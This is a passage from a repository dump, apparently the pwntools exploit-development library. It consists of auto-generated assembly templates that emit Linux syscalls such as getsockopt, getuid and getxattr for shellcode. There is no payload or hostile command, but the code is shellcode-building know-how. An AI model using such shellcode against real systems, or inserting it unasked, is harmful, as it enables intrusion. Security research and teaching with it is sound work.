     elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getsockname']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getsockname'])\n%>\n    /* getsockname(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getsockopt.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getsockopt(fd, level, optname, optval, optlen) -> str\n\nInvokes the syscall getsockopt.\n\nSee 'man 2 getsockopt' for more information.\n\nArguments:\n    fd(int): fd\n    level(int): level\n    optname(int): optname\n    optval(void*): optval\n    optlen(socklen_t*): optlen\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, level=0, optname=0, optval=0, optlen=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['optval']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'level', 'optname', 'optval', 'optlen']\n    argument_values = [fd, level, optname, optval, optlen]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getsockopt']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getsockopt'])\n%>\n    /* getsockopt(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/gettid.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>gettid() -> str\n\nInvokes the syscall gettid.\n\nSee 'man 2 gettid' for more information.\n\nArguments:\n\nReturns:\n    pid_t\n</%docstring>\n<%page args=\"\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = []\n    argument_values = []\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_gettid']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_gettid'])\n%>\n    /* gettid(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/gettimeofday.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>gettimeofday(tv, tz) -> str\n\nInvokes the syscall gettimeofday.\n\nSee 'man 2 gettimeofday' for more information.\n\nArguments:\n    tv(timeval*): tv\n    tz(timezone_ptr_t): tz\nReturns:\n    int\n</%docstring>\n<%page args=\"tv=0, tz=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['tv', 'tz']\n    argument_values = [tv, tz]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_gettimeofday']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_gettimeofday'])\n%>\n    /* gettimeofday(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getuid.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getuid() -> str\n\nInvokes the syscall getuid.\n\nSee 'man 2 getuid' for more information.\n\nArguments:\n\nReturns:\n    uid_t\n</%docstring>\n<%page args=\"\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = []\n    argument_values = []\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getuid']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getuid'])\n%>\n    /* getuid(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getuid32.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getuid32(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall getuid32.\n\nSee 'man 2 getuid32' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getuid32']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getuid32'])\n%>\n    /* getuid32(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getxattr.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getxattr(path, name, value, size) -> str\n\nInvokes the syscall getxattr.\n\nSee 'man 2 getxattr' for more information.\n\nArguments:\n    path(char*): path\n    name(char*): name\n    value(void*): value\n    size(size_t): size\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"path=0, name=0, value=0, size=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path', 'name', 'value']\n    can_pushstr_array = []\n\n    argument_names = ['path', 'name', 'value', 'size']\n    argument_values = [path, name, value, size]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getxattr']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getxattr'])\n%>\n    /* getxattr(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/gtty.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>gtty(fd, params) -> str\n\nInvokes the syscall gtty.\n\nSee 'man 2 gtty' for more information.\n\nArguments:\n    fd(int): fd\n    params(sgttyb*): params\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, params=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'params']\n    argument_values = [fd, params]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_gtty']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_gtty'])\n%>\n    /* gtty(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/ia32_arch_prctl.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>ia32_arch_prctl(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall ia32_arch_prctl.\n\nSee 'man 2 ia32_arch_prctl' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_ia32_arch_prctl']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_ia32_arch_prctl'])\n%>\n    /* ia32_arch_prctl(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/ia32_io_pgetevents.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>ia32_io_pgetevents(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall ia32_io_pgetevents.\n\nSee 'man 2 ia32_io_pgetevents' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in 